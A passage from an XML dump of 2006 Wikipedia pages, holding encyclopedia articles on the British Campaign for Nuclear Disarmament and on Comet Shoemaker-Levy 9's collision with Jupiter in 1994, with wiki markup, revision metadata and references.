        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <comment>changed acronym explanation into a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Campaign for Nuclear Disarmament]].</text>
    </revision>
  </page>
  <page>
    <title>Campaign for Nuclear Disarmament</title>
    <id>6793</id>
    <revision>
      <id>42011274</id>
      <timestamp>2006-03-03T05:09:44Z</timestamp>
      <contributor>
        <username>AshishG</username>
        <id>172488</id>
      </contributor>
      <minor />
      <comment>NPT link</comment>
      <text xml:space="preserve">{{Anti-war topics}}
[[Image:Peace Sign.svg|thumb|left|Campaign for Nuclear Disarmament logo]]

In [[British politics]], the '''Campaign for Nuclear Disarmament''' has been at the forefront of the [[peace movement]] in the [[United Kingdom]] and claims to be Europe's largest [[single-issue party|single-issue peace campaign]].

As well as campaigning against military actions that may result in the use of [[nuclear weapon|nuclear]], [[chemical weapon|chemical]] or [[biological weapon]]s, they are also in favour of nuclear disarmament by all countries and tighter international regulation through treaties such as the [[Nuclear Non-Proliferation Treaty|NPT]]. The most famous and longest-standing annual march is that from [[Trafalgar Square]], [[London]] to the [[Atomic Weapons Establishment]] held every Easter weekend, taking the whole four days to complete.

==The First Wave 1958-1962==
Prominent founding members of the Campaign for Nuclear Disarmament included [[Fenner Brockway]], [[Canon John Collins]], [[E. P. Thompson]], [[Michael Foot]], [[Victor Gollancz]], [[Bertrand Russell]], [[A.J.P. Taylor]], and [[Dora Russell]]. Its founder organizer was [[Peggy Duff]]. Although many of its members, including religious groups that make up a significant minority of the active membership, are [[pacifism|pacifist]], the organisation itself is not. 

Its logo, designed in [[1958]] by [[Gerald Holtom]], became widespread outside of Britain during the [[1960s]] as the &quot;[[peace symbol]]&quot;. The peace symbol is based on the international [[semaphore (communication)|semaphore]] symbols for &quot;N&quot; and &quot;D&quot; (for Nuclear Disarmament) enclosed within a circle. There is a common misconception that [[Bertrand Russell]] designed the logo, stemming from his being president of the organisation at the time. In [[1960]] [[Bertrand Russell]] resigned from the Campaign for Nuclear Disarmament, in order to form a more [[militant]] group called the [[Committee of 100]].

==The Second Wave (1980-89)==
In the early [[1980s]] the organisation underwent a major revival, as tensions between the superpowers rose with the deployment of American [[Pershing II]] [[cruise missile]]s in Western Europe and [[RT-21M Pioner|SS20s]] in the Soviet Bloc countries and the [[Margaret Thatcher|Thatcher]] government replacing the [[UGM-27 Polaris#British Polaris|Polaris]] armed [[submarine]] fleet with [[Trident missile|Trident]]. 

During this period CND established a number of 'Specialist Sections' to add to [[Labour CND]] (est. 1979) and [[Christian CND]] (est. 1960), including: [[Trade Union CND]], [[Liberal CND]], [[Green CND]] and [[Ex-Services CND]]. 

Much of National CND's historical archive is at the Modern Records Centre [[University of Warwick]] and the [[London School of Economics]], although records of local and regional groups are spread throughout the country in public and private collections.

==Current CND==
Today, CND has several priority campaigns:
*&quot;Scrap [[Trident missile|Trident]]&quot;: Against the UK's [[nuclear weapons]]
*&quot;Missile Defence: The New Threat&quot;: Against the US [[Strategic Defense Initiative]]
*&quot;No to [[NATO]]&quot;
*&quot;Stop the [[Plutonium]] Trade&quot;

In an end to its single-issue focus on the nuclear issue, since [[2001]] it has become a focus for organising resistance campaigns to U.S. and British policies on the [[Middle East]]. Opponents of the wars who don't even agree with CND on nuclear weapons can now find themselves directed through it. Along with the [[Stop the War Coalition]] and the [[Muslim Association of Britain]], it organised several [[Protests against the 2003 Iraq war|anti-war marches]] under the main slogan &quot;[[Don't Attack Iraq]],&quot; including those on [[September 28]], [[2002]] and [[February 15]], [[2003]] in [[London]], and also a Vigil for the Victims of the London bombings[http://www.mabonline.info/english/modules.php?name=News&amp;file=article&amp;sid=424] on [[July 9]], [[2005]] in [[London]].

==Structures==

There exist several branches of CND to cover the British Isles, namely: [[Scottish CND]], [[Irish CND]] and [[CND Cymru]] in addition to 'National CND'. This is in addition to several of the 'Specialist Sections' which have continued in some form to the present including: [[Labour CND]], [[Christian CND]], [[Youth and Student CND]], [[Parliamentary CND]] and [[Ex Services CND]]. Regional groupings also exist covering: Cambridgeshire, Cumbria, East Midlands, Kent, London, Manchester, Merseyside, Mid Somerset, Norwich, South Cheshire and North Staffshire, Southern, South West, Suffolk, Surrey, Sussex, Tyne and Wear, West Midlands and Yorkshire.

The CND Council is made up of: Chair, Treasurer, 3 Vice-Chairs, 15 Directly Elected Members, 1 Christian CND, 1 Labour CND, 1 Student CND, 3 Youth and Student CND and 27 Members Representing 11 Regional Groups.

==Chairs of CND Since 1958==
* [[Canon John Collins]] [[1958]]&amp;ndash;[[1964]]
* [[Olive Gibbs]] [[1964]]&amp;ndash;[[1967]] 
* [[Sheila Oakes]] [[1967]]&amp;ndash;[[1968]]
* [[Malcolm Caldwell]] [[1968]]&amp;ndash;[[1970]]
* [[April Carter]] [[1970]]&amp;ndash;[[1971]]
* [[John Cox (CND Chair)|John Cox]] [[1971]]&amp;ndash;[[1977]]
* [[Bruce Kent]] [[1977]]&amp;ndash;[[1979]]
* [[Hugh Jenkins]] [[1979]]&amp;ndash;[[1981]]
* [[Joan Ruddock]] [[1981]]&amp;ndash;[[1985]]
* [[Paul Johns (CND chair)| Paul Johns]] [[1985]] &amp;ndash; [[1987]]
* [[Bruce Kent]] [[1987]] &amp;ndash;[[1990]]
* [[Marjorie Thompson]] [[1990]]&amp;ndash;[[1993]]
* [[Janet Bloomfield]] [[1993]]&amp;ndash;[[1996]]
* [[David Knight]] [[1996]]&amp;ndash;[[2001]]
* [[Carol Naughton]] [[2001]]&amp;ndash;[[2003]]
* [[Kate Hudson (CND chair)|Kate Hudson]] [[2003]]&amp;ndash;

==General Secretaries of CND Since 1958==
* [[Peggy Duff]] [[1958]]&amp;ndash;[[1967]]
* [[Dick Nettleton]] [[1967]]&amp;ndash;[[1973]]
* [[Dan Smith (CND General Secretary)|Dan Smith]] [[1974]]&amp;ndash;[[1975]]
* [[Duncan Rees]] [[1976]]&amp;ndash;[[1979]]
* [[Bruce Kent]] [[1979]]&amp;ndash;[[1985]]
* [[Meg Beresford]] [[1985]]&amp;ndash;[[1990]]

==Membership==
Taken from '''Social Movements in Britain''', ''[[Paul Byrne]]'', Routledge, ISBN 0415071232 (1997), p.91. 

{| class=&quot;wikitable&quot;
|- style=&quot;background-color:#E9E9E9&quot;
!'''Year'''
!'''Members'''
!'''Year'''
!'''Members'''
|-
| [[1970]] 
| 2120
| [[1986]] 
| 84000
|-
| [[1971]] 
| 2047
| [[1987]] 
| 75000
|-
| [[1972]] 
| 2389
| [[1988]] 
| 72000
|-
| [[1973]] 
| 2367
| [[1989]] 
| 62000
|-
| [[1974]] 
| 2350
| [[1990]] 
| 62000
|-
| [[1975]] 
| 2536
| [[1991]] 
| 60000
|-
| [[1976]] 
| 3220
| [[1992]] 
| 57000
|-
| [[1977]] 
| 4287
| [[1993]] 
| 52000
|-
| [[1978]] 
| 3220
| [[1994]] 
| 47000
|-
| [[1979]] 
| 4287
| [[1995]] 
| 47700
|-
| [[1980]] 
| 9000
|-
| [[1981]] 
| 20000
|-
| [[1982]] 
| 50000
|-
| [[1983]] 
| 75000
|-
| [[1984]] 
| 100000
|-
| [[1985]] 
| 92000
|-
|}

==See also==
*[[Anti-war]]
*[[Peace movement]]
*[[Nuclear disarmament]]
*[[Nuclear proliferation]]
*[[Independent Nuclear Disarmament Election Committee]]

==Further reading==
*'''CND - Now More Than Ever: The Story of a Peace Movement''', ''[[Kate Hudson (CND chair)|Kate Hudson]]'', Vision Paperbacks, ISBN 1904132693 (2005)
*''[[Holger Nehring]]'' (2001), 'From Gentleman's Club to Folk Festival: The Campaign for Nuclear Disarmament in Manchester, 1958-63', '''North West Labout History Journal''', Number 26. pp. 18-28
*'''Social Movements in Britain''', ''[[Paul Byrne]]'', Routledge, ISBN 0415071232 (1997)
*'''A commitment to campaign : a sociological study of CND''', ''[[John Mattausch]]'', Manchester University Press, ISBN 0719029082 (1989)
*'''The Campaign for Nuclear Disarmament''', ''[[Paul Byrne]]'', Routledge, ISBN 070993260X (1988)
*'''The CND Story: The first 25 years of CND in the words of the people involved''', ''[[John Minnion (CND)|John Minnion]] and [[Philip Bolsover]] Ed.'', Allison &amp; Busby, ISBN 0850314879 (1983) 
*'''The Protest Makers: The British Nuclear Disarmament of 1958-1965, Twenty Years On''', ''[[Richard Taylor (CND)|Richard Taylor]] and [[Colin Pritchard]]'', Pergamon Press, ISBN 0080252117 (1980)
*'''Left, Left, Left: A personal account of six protest campaigns 1945-65''', ''[[Peggy Duff]]'', Allison and Busby, ISBN 0850310563 (1971)
*'''Middle class radicalism : the social bases of the British Campaign for Nuclear Disarmament''', ''[[Frank Parkin]]'',(1968)

==External links==
*[http://www.cnduk.org Campaign for Nuclear Disarmament home page]
*[http://newssearch.bbc.co.uk/onthisday/hi/dates/stories/april/18/newsid_2909000/2909881.stm BBC Report of the 1960 Aldermaston March]
*[http://newssearch.bbc.co.uk/onthisday/hi/dates/stories/october/22/newsid_2489000/2489209.stm BBC Report of CND Protest in London 22nd October 1983]


[[Category:Anti-Iraq War groups]]
[[Category:Nuclear weapon organizations]]
[[Category:Peace organizations]]
[[Category:Political pressure groups of the United Kingdom]]</text>
    </revision>
  </page>
  <page>
    <title>Comet Shoemaker-Levy 9</title>
    <id>6794</id>
    <revision>
      <id>40814695</id>
      <timestamp>2006-02-23T04:43:01Z</timestamp>
      <contributor>
        <username>Urhixidur</username>
        <id>68509</id>
      </contributor>
      <minor />
      <comment>/* A Jupiter-orbiting comet */ Resolving contradiction...</comment>
      <text xml:space="preserve">[[Image:Shoemaker-Levy 9 on 1994-05-17.png|thumb|300px|[[Hubble Space Telescope]] image of Comet Shoemaker-Levy&amp;nbsp;9, taken on [[May 17]], [[1994]].]]

:''Shoemaker-Levy redirects here; for other Shoemaker-Levy comets see [[List of periodic comets]]

'''Comet Shoemaker-Levy&amp;nbsp;9''' ('''SL9''', [[Astronomical naming conventions#Comets|formally designated]] '''D/1993&amp;nbsp;F2''') was a [[comet]] which collided with [[Jupiter]] in 1994, providing the first direct observation of the collision of two [[solar system]] objects. This generated a large amount of coverage in the popular media, and SL9 was closely observed by [[astronomy|astronomers]] worldwide. The comet provided many revelations about Jupiter and its atmosphere and highlighted Jupiter's role in reducing [[space debris]] in the inner solar system.

Astronomers [[Carolyn Shoemaker|Carolyn]] and [[Eugene M. Shoemaker]] and [[David Levy (astronomer)|David Levy]] discovered the comet, which was the eleventh one they had found. It is called &quot;Shoemaker-Levy 9&quot; because only ''periodic'' comets are numbered in this way; the Shoemakers-Levy team has discovered four non-periodic comets in addition to its nine periodic ones. Shoemaker-Levy 9 was located on the night of [[March 24]], [[1993]], in a [[photograph]] taken with the 0.4-[[metre]] [[Schmidt telescope]] at the [[Mount Palomar Observatory]] in [[California]]. Unlike all other comets discovered before then, it was orbiting Jupiter rather than the [[Sun]].

SL9 was in pieces ranging in size up to 2&amp;nbsp;[[kilometre]]s in diameter, and is believed to have been pulled apart by Jupiter's [[tidal force]]s during a close encounter in July 1992. These fragments collided with Jupiter's southern hemisphere over a period of time between [[July 16]] and [[July 22]] [[1994]], at a speed of approximately 60&amp;nbsp;[[kilometres per second]] (37&amp;nbsp;[[mile per second|miles per second]]). The prominent scars from the impacts could be seen on Jupiter for many months after the impact, and observers described them as more easily visible even than the [[Great Red Spot]].

==Discovery==
Comet Shoemaker-Levy 9 (SL9) was discovered on the night of [[March 24]] [[1993]] by the Shoemakers and Levy, who were conducting a program of observations designed to uncover [[near-Earth object]]s. The comet was thus a [[serendipity|serendipitous]] discovery, but one that quickly overshadowed the results from their main observing program. The discovery was announced in [[IAU Circular]] 5725 on [[March 27]] [[1993]]. Subsequently, several other observers found the comet in images obtained before [[March 24]], including [[Kin Endate|K. Endate]] from a photograph exposed on [[March 15]], [[Satoru Otomo|S. Otomo]] on [[March 17]], and a team led by [[Eleanor Helin]] from images on [[March 19]] [http://cometography.com/pcomets/1993f2.html].

The discovery image gave the first hint that SL9 was an unusual comet, as it appeared to show multiple nuclei in an elongated region about 50&amp;nbsp;[[arcsecond]]s long and 10&amp;nbsp;arcseconds wide. [[Brian Marsden]] of the Central Bureau for Astronomical Telegrams noted that the comet lay only about 4 [[degree (angle)|degree]]s from Jupiter as seen from Earth, and that while this could of course be a projection effect, its [[apparent motion]] suggested that it was physically close to the giant planet [http://cfa-www.harvard.edu/iauc/05700/05725.html]. Because of this, he suggested that the Shoemakers and David Levy had discovered the fragments of a comet that had been disrupted by Jupiter's [[gravity]].

==A Jupiter-orbiting comet==
[[Image:Montage_of_Jupiter_and_SL9.jpg|thumb|left|150px|A montage of images of [[Jupiter (planet)|Jupiter]] and the comet, showing the relative scale and angle of impact.]]

Orbital studies of the new comet soon revealed that, unlike all other comets discovered before then, it was orbiting Jupiter rather than the [[Sun]]. Its orbit around Jupiter was very loosely bound, with a period of about 2 years and an [[apojove]] (furthest distance from Jupiter) of 0.33&amp;nbsp;[[Astronomical Unit]]s (AU) (49.4 million km). Its orbit around the planet was highly eccentric (''e'' = 0.9986).

Tracing back the comet's orbital motion revealed that it had been orbiting Jupiter for some time. It was most likely captured from a solar orbit in the early 1970s (the first likely date is [[April 26]], [[1971]]&amp;nbsp;&lt;sup&gt;[18]&lt;/sup&gt;), although the capture may have occurred much earlier (around 1966). No [[precovery]] images dating back to earlier than March 1993 have been found so far. Before the comet was captured by Jupiter, it was probably a short-period comet with an [[aphelion]] just inside Jupiter's orbit, and a [[perihelion]] interior to the [[asteroid belt]]&amp;nbsp;&lt;sup&gt;[1]&lt;/sup&gt;.

The volume of space within which an object can be said to orbit Jupiter is defined by Jupiter's [[Hill sphere]] (also called the Roche sphere). When the comet passed Jupiter in the late 1960s or early 1970s, it happened to be near its aphelion, and found itself slightly within Jupiter's Hill sphere. Jupiter's gravity nudged the comet towards it. Because the comet's motion with respect to Jupiter was very small, it fell almost straight into Jupiter, which is why it ended up on a Jupiter-centric orbit of very high eccentricity &amp;mdash;that is to say, the ellipse was nearly flattened out.

The comet had apparently passed extremely close to Jupiter on [[July 7]], [[1992]], just over 40,000&amp;nbsp;km above the planet's cloud tops &amp;mdash; a smaller distance than Jupiter's radius of 70,000&amp;nbsp;km, and well within the orbit of Jupiter's innermost moon [[Metis (moon)|Metis]] and the planet's [[Roche limit]], inside which [[tidal force]]s are strong enough to disrupt a body held together only by gravity. Although the comet had approached Jupiter closely before, the [[July 7]] encounter seemed to be by far the closest, and the fragmentation of the comet is thought to have occurred at this time. Each fragment of the comet was denoted by a letter of the [[alphabet]], from &quot;fragment A&quot; through to &quot;fragment W&quot;, a practice already established from previously observed broken-up comets.

More exciting for planetary astronomers was that the best orbital solutions suggested that the comet would pass within 45,000&amp;nbsp;km of the centre of Jupiter, a distance smaller than the planet's radius, meaning that there was an extremely high probability that SL9 would collide with Jupiter in July 1994. Studies suggested that the train of nuclei would plough into Jupiter's atmosphere over a period of about five days.

==Predictions for the collision==
[[Image:Astronomers await the first images of the impacts.jpg|thumb|right|250px|Astronomers at [[STSCI]] await the first images from the impact of fragment A.]]

The discovery that the comet was likely to collide with Jupiter caused great excitement within the astronomical community and beyond, as astronomers had never before seen two significant solar system bodies collide.  Intense studies of the comet were undertaken, and as its orbit became more accurately established, the possibility of a collision became a certainty.  The collision would provide a unique opportunity for scientists to look inside Jupiter's atmosphere, as the collisions were expected to cause eruptions of material from the layers normally hidden beneath the clouds.

Astronomers estimated that the visible fragments of SL9 ranged in size from a few hundred metres to at most a couple of kilometres across, suggesting that the original comet may have had a nucleus up to 5&amp;nbsp;km across – somewhat larger than [[Comet Hyakutake]], which became very bright when it passed close to the Earth in 1996.  One of the great debates in advance of the impact was whether the effects of the impact of such small bodies would be noticeable from Earth, apart from a flash as they disintegrated like giant [[meteor]]s.

Other suggested effects of the impacts were [[seismic]] waves travelling across the planet, an increase in [[stratosphere|stratospheric]] haze on the planet due to dust from the impacts, and an increase in the mass of the [[Rings of Jupiter|Jovian ring system]].  However, given that observing such a collision was completely unprecedented, astronomers were cautious with their predictions of what the event might reveal.

==Impacts==
[[Image:SL9 BDGLNQ12R hst19.jpg|thumb|left|Jupiter in Ultraviolet (about 2.5 hours after R's impact)]]

Anticipation was high as the predicted date for the collisions approached, and astronomers trained their telescopes on Jupiter.  Several space observatories did the same, including the [[Hubble Space Telescope]], the [[ROSAT]] [[X-ray]] observing [[satellite]], and significantly the [[Galileo spacecraft]], then on its way to a rendezvous with Jupiter scheduled for 1996.  While the impacts would take place on the side of Jupiter hidden from Earth, Galileo, then at a distance of 1.6&amp;nbsp;AU from the planet, would be able to see the impacts as they occurred.  Jupiter's rapid rotation would bring the impact sites into view for terrestrial observers a few minutes after the collisions.

Two other satellites made observations at the time of the impact: the [[Ulysses (spacecraft)|Ulysses spacecraft]], primarily designed for [[Sun|solar]] observations, was pointed towards Jupiter from its location 2.6&amp;nbsp;AU away, and the distant [[Voyager 2]] probe, some 44&amp;nbsp;AU from Jupiter and on its way out of the solar system following its encounter with [[Neptune (planet)|Neptune]] in 1989, was programmed to look for [[radio]] emission in the 1–390&amp;nbsp;[[kHz]] range.

[[Image:Impact fireball appears over the limb of Jupiter.jpg|thumb|right|150px|HST images of a fireball from the first impact appearing over the [[limb]] of the planet.]]

The first impact occurred at 20:15 [[Coordinated Universal Time|UTC]] on [[July 16]] [[1994]], when fragment A of the nucleus slammed into Jupiter's southern hemisphere at a speed of about 60&amp;nbsp;km/s.  Instruments on Galileo detected a fireball which reached a peak temperature of about 24,000&amp;nbsp;[[Kelvin|K]], compared to the typical Jovian cloudtop temperature of about 130&amp;nbsp;K, before expanding and cooling rapidly to about 1500&amp;nbsp;K after 40&amp;nbsp;s.  The plume from the fireball quickly reached a height of over 3,000&amp;nbsp;km&amp;nbsp;&lt;sup&gt;[2]&lt;/sup&gt;.  A few minutes after the impact fireball was detected, Galileo measured renewed heating, probably due to ejected material falling back onto the planet.  Earth-based observers detected the fireball rising over the [[limb]] of the planet shortly after the initial impact&amp;nbsp;&lt;sup&gt;[3]&lt;/sup&gt;.

Astronomers had expected to see the fireballs from the impacts, but did not have any idea in advance how visible the atmospheric effects of the impacts would be from Earth.  Observers soon saw a huge dark spot after the first impact.  The spot was visible even in very small telescopes, and was about 6,000&amp;nbsp;km (one Earth radius) across.  This and subsequent dark spots were thought to have been caused by debris from the impacts, and were markedly asymmetric, forming crescent shapes in front of the direction of impact.

Over the next 6&amp;nbsp;days, 21 discrete impacts were observed, with the largest coming on [[July 18]] at 07:34 UTC when fragment G struck Jupiter.  This impact created a giant dark spot over 12,000&amp;nbsp;km across, and was estimated to have released an energy equivalent to 6,000,000&amp;nbsp;[[megaton|megatons of TNT]] (750 times the world's nuclear arsenal).  Two impacts 12&amp;nbsp;hours apart on [[July 19]] created impact marks of similar size to that caused by fragment G, and impacts continued until [[July 22]], when fragment W struck the planet.

==Observations and discoveries==
===Chemical studies===
[[Image:Jupiter showing SL9 impact sites.jpg|left|250px|thumb|Brown spots mark impact sites on [[Jupiter (planet)|Jupiter's]] southern hemisphere.]]

Observers hoped that the impacts would give them a first glimpse of Jupiter beneath the cloud tops, as lower material was exposed by the comet fragments punching through the upper atmosphere.  [[Astronomical spectroscopy|Spectroscopic]] studies revealed [[absorption line]]s in the Jovian [[spectrum (disambiguation)|spectrum]] due to diatomic [[sulfur]] (S&lt;sub&gt;2&lt;/sub&gt;) and [[carbon disulfide]] (CS&lt;sub&gt;2&lt;/sub&gt;), the first detection of either in Jupiter, and only the second detection of S&lt;sub&gt;2&lt;/sub&gt; in any [[astronomical object]].  Other molecules detected included [[ammonia]] (NH&lt;sub&gt;3&lt;/sub&gt;) and [[hydrogen sulfide]] (H&lt;sub&gt;2&lt;/sub&gt;S).  The amount of sulfur implied by the quantities of these compounds was much greater than the amount that would be expected in a small cometary nucleus, showing that material from within Jupiter was being revealed.  [[Oxygen]]-bearing molecules such as [[sulfur dioxide]] were not detected, to the surprise of astronomers&amp;nbsp;&lt;sup&gt;[4]&lt;/sup&gt;.

As well as these [[molecule]]s, emission from heavier [[atom]]s such as [[iron]], [[magnesium]] and [[silicon]] was detected, with the abundances of these atoms being consistent with what would be found in a cometary nucleus.  While substantial [[water]] was detected spectroscopically, it was not as much as predicted beforehand, meaning that either the water layer thought to exist below the clouds was thinner than predicted, or that the cometary fragments did not penetrate deeply enough.

===Seismic waves===
As predicted beforehand, the collisions generated enormous [[seismic wave]]s which swept across the planet at speeds of 450&amp;nbsp;km/s and were observed for over two hours after the largest impacts.  These waves seemed to be [[gravity wave]]s, but their location was subject to debate.  The waves were thought to be travelling within a stable layer acting as a [[waveguide]], and some scientists believed the stable layer must lie within the hypothesised [[troposphere|tropospheric]] water cloud.  However, other evidence seemed to indicate that the cometary fragments had not reached the water layer, and the waves were instead propagating within the [[stratosphere]]&amp;nbsp;&lt;sup&gt;[5]&lt;/sup&gt;.

===Other observations===
[[Image:Impact of fragment G of SL9 on Juptier.jpg|thumb|right|250px|A sequence of [[Galileo spacecraft|Galileo]] images, taken several seconds apart, showing the appearance of the fireball of fragment W on the dark side of Jupiter.]]

[[Radio]] observations revealed a sharp increase in [[Black body|continuum]] emission at a wavelength of 21&amp;nbsp;[[centimetre|cm]] after the largest impacts, which peaked at 120% of the normal emission from the planet.  This was thought to be due to [[synchrotron radiation]], caused by the injection of [[relativistic]] [[electron]]s into the Jovian [[magnetosphere]] by the impacts&amp;nbsp;&lt;sup&gt;[6]&lt;/sup&gt;.

About an hour after fragment K entered Jupiter, observers recorded [[aurora (astronomy)|auroral]] emission near the impact region, as well as at the [[antipodal point|antipode]] of the impact site with respect to Jupiter's strong [[magnetic field]].  The cause of these emissions was difficult to establish due to a lack of knowledge of Jupiter's internal [[magnetic field]] and of the geometry of the impact sites.  One possible explanation was that upwardly accelerating [[shock wave]]s from the impact accelerated charged particles enough to cause auroral emission, a phenomenon more typically associated with fast-moving [[solar wind]] particles striking a planetary atmosphere near a [[magnetic pole]]&amp;nbsp;&lt;sup&gt;[7]&lt;/sup&gt;.

Some astronomers had suggested that the impacts might have a noticeable effect on the [[Io torus]], a [[torus]] of high-energy particles connecting Jupiter with the highly [[volcano|volcanic]] moon [[Io (moon)|Io]].  High resolution spectroscopic studies found that variations in the ion [[density]], [[rotational velocity]] and [[temperature]]s at the time of impact and afterwards were within the normal limits&amp;nbsp;&lt;sup&gt;[8]&lt;/sup&gt;.

==Post-impact analysis==
[[Image:Impact site of fragment G.gif|thumb|left|250px|Fragment G impact site, showing asymmetric ejecta pattern.]]

One of the surprises of the impacts was the small amount of water revealed compared to prior predictions.  Before the impact, models of Jupiter's atmosphere had indicated that the break-up of the largest fragments would occur at atmospheric pressures of anywhere from 300&amp;nbsp;[[kilopascal]]s to a few [[megapascal]]s (from three to a few hundred [[bar (unit)|bar]]), and most astronomers expected that the impacts would penetrate a hypothesised water-rich layer underneath the clouds.

Astronomers did not observe large amounts of water following the collisions, and later impact studies found that fragmentation and destruction of the cometary fragments in an 'airburst' probably occurred at much higher altitudes than previously expected, with even the largest fragments being destroyed when the pressure reached 250&amp;nbsp;[[kPa]] (2.5&amp;nbsp;bar), well above the expected depth of the water layer.  The smaller fragments were probably destroyed before they even reached the cloud layer&amp;nbsp;&lt;sup&gt;[9]&lt;/sup&gt;.
&lt;br clear=&quot;all&quot;&gt;

==Longer term effects==
The visible scars from the impacts could be seen on Jupiter for many months after the impact.  They were extremely prominent, and observers described them as more easily visible even than the [[Great Red Spot]].  A search of historical observations revealed that the spots were probably the most prominent transient features ever seen on the planet, and that while the Great Red Spot is notable for its striking colour, no spots of the size and darkness of those caused by the SL9 impacts have ever been recorded before&amp;nbsp;&lt;sup&gt;[10]&lt;/sup&gt;.

Spectroscopic observers found that ammonia and carbon sulfide persisted in the atmosphere for at least fourteen months after the collisions, with a considerable amount of ammonia being present in the stratosphere as opposed to its normal location in the troposphere&amp;nbsp;&lt;sup&gt;[11]&lt;/sup&gt;.

Counterintuitively, the atmospheric temperature dropped to normal levels much more quickly at the larger impact sites than at the smaller sites: at the larger impact sites, temperatures were elevated over a region 15,000–20,000&amp;nbsp;km wide, but dropped back to normal levels within a week of the impact.  At smaller sites, temperatures 10&amp;nbsp;[[Kelvin|K]] higher than the surroundings persisted for almost two weeks&amp;nbsp;&lt;sup&gt;[12]&lt;/sup&gt;.  Global stratospheric temperatures rose immediately after the impacts, then fell to below pre-impact temperatures 2–3&amp;nbsp;[[week]]s afterwards, before rising slowly to normal temperatures &amp;nbsp;&lt;sup&gt;[13]&lt;/sup&gt;.

==Frequency of impacts==
[[Image:Chain of impact craters on Ganymede.jpg|thumb|right|220px|A chain of [[impact crater|crater]]s on [[Ganymede (moon)|Ganymede]], probably caused in a similar impact event.  The picture covers an area approximately 120 miles across.  ]]

Since the impact of SL9, two further very small comets have been found to be orbiting Jupiter. Studies have shown that the planet, by far the most massive in the [[solar system]], can capture comets from solar orbit into Jovian orbit rather frequently.

Cometary orbits around Jupiter are generally unstable, as they will be highly [[ellipse|elliptical]] and likely to be strongly perturbed by the Sun's gravity at [[apojove]] (the furthest point on the orbit from the planet). Studies have estimated that comets probably crash into Jupiter once or twice per [[century]], but the impact of comets the size of SL9 is much less common – probably no more often than once per [[millennium]].

There is very strong evidence that comets have previously been fragmented and collided with Jupiter and its satellites. During the Voyager missions to the planet, planetary scientists identified 13 [[crater chain]]s on [[Callisto (moon)|Callisto]] and three on [[Ganymede (moon)|Ganymede]], the origin of which was initially a mystery. Crater chains seen on the [[Moon]] often radiate from large craters, and are thought to be caused by secondary impacts of the original ejecta, but the chains on the [[Jovian planet|Jovian]] moons did not lead back to a larger crater. The impact of SL9 strongly implied that the chains were due to trains of disrupted cometary fragments crashing into the satellites.
&lt;br clear=all /&gt;

==Jupiter as a &quot;cosmic vacuum cleaner&quot;==
The impact of SL9 highlighted Jupiter's role as a kind of &quot;cosmic vacuum cleaner&quot; for the inner solar system. Studies have shown that the planet's strong gravitational influence leads to many small comets and [[asteroid]]s colliding with the planet, and the rate of cometary impacts on Jupiter is thought to be between two and ten times higher than the rate on Earth &lt;sup&gt;[14]&lt;/sup&gt;

If Jupiter were not present, these small bodies could collide with the inner planets instead. The extinction of the [[dinosaur]]s at the end of the [[Cretaceous]] period is generally believed to have been caused by the impact which created the [[Chicxulub crater]], demonstrating that impacts are a serious threat to life on Earth. Astronomers have speculated that without Jupiter to mop up potential impactors, extinction events might have been much more frequent on Earth, and complex life may not have been able to develop &lt;sup&gt;[15]&lt;/sup&gt;. This is part of the argument used in the [[Rare Earth hypothesis]].

==References==
# Benner L. A. M., McKinnon W. B. (1994), ''Pre-Impact Orbital Evolution of P/Shoemaker-Levy 9'', Abstracts of the 25th Lunar and Planetary Science Conference, held in Houston, TX, 14–[[18 March]] [[1994]]., p.93
# Martin T. Z. (1994), ''Shoemaker-Levy 9: Temperature, Diameter and Energy of Fireballs'', DPS meeting #28, Bulletin of the American Astronomical Society, v. 28, p.1085
# Weissman P. R., Carlson R. W., Hui J., Segura M. E., Smythe W. D., Baines K. H. (1995), ''Galileo NIMS Direct Observation of the Shoemaker-Levy 9 Fireballs and Fall Back'', Abstracts of the Lunar and Planetary Science Conference, v. 26, p. 1483
# McGrath M. A., Noll K. S., Weaver H. A., Yelle R. V., Trafton L., Caldwell J. F. (1995), ''HST Spectroscopic Observations of Jupiter Following the Impact of Comet Shoemaker-Levy 9'', American Astronomical Society, 185th AAS Meeting, Bulletin of the American Astronomical Society, v.26, p.1374
# Ingersoll A. P., [[Hiroo Kanamori|Kanamori H.]] (1995), ''Waves from the collisions of comet Shoemaker-Levy 9 with Jupiter.'', Nature, v.374, p. 706–8.
# Olano, C. A. (1999), ''Jupiter's Synchrotron Emission Induced by the Collision of Comet Shoemaker-Levy 9'', Astrophysics and Space Science, v. 266,p. 347–369
# Bauske R., Combi M. R., Clarke J. T. (1999) ''Analysis of Mid-latitude Auroral Emissions Observed during the Impact of Comet Shoemaker-Levy 9 with Jupiter'', Icarus, v. 142, p. 106–15
# [[Michael E. Brown|Brown M. E.]], Moyer E. J., Bouchez A. H., Spinrad H. (1995), ''Comet Shoemaker-Levy 9: No effect on the Io plasma torus'', Geophysical Research Letters, v. 22, p. 1833–1836
# Hu Z. W., Chu Y., Zhang, K. (1996), ''On Penetration Depth of the Shoemaker-Levy 9 Fragments into the Jovian Atmosphere'', Earth, Moon and Planets, v. 73, p. 147–155
# Hockey T. A. (1994), ''The Shoemaker-Levy 9 spots on Jupiter: Their place in history'', Earth, Moon, and Planets (ISSN 0167-9295), v. 66, p. 1–9
# McGrath M. A., Yelle R. V., Bétrémieux Y. (1996), ''Long-term Chemical Evolution of the Jupiter Stratosphere Following the SL9 Impacts'', American Astronomical Society, DPS meeting 28, Bulletin of the American Astronomical Society, V. 28, p.1149
# Bézard B. (1997), ''Long-term response of Jupiter's thermal structure to the SL9 impacts'', Planetary and Space Science, v. 45, p. 1251–1270
# Moreno R., Marten A., Biraud Y., Bézard B., Lellouch E., Paubert G., Wild W. (2001), ''Jovian stratospheric temperature during the two months following the impacts of comet Shoemaker-Levy 9'', Planetary and Space Science, v. 49, p. 473–486
# Nakamura T., Kurahashi H. (1998), ''Collisional probability of periodic comets with the terrestrial planets - an invalid case of analytic formulation'', Astronomical Journal, v. 11, p. 848
# Wetherill, G. W. (1994), ''Possible consequences of absence of Jupiters in planetary systems'', Astrophysics and Space Science, v. 212, p. 23–32
# Chodas P. W., and Yeomans D. K. (1996), ''The Orbital Motion and Impact Circumstances of Comet Shoemaker-Levy 9'', in ''The Collision of Comet Shoemaker-Levy 9 and Jupiter'', edited by K. S. Noll, [[Paul D. Feldman|P. D. Feldman]], and H. A. Weaver, Cambridge University Press, pp. 1-30
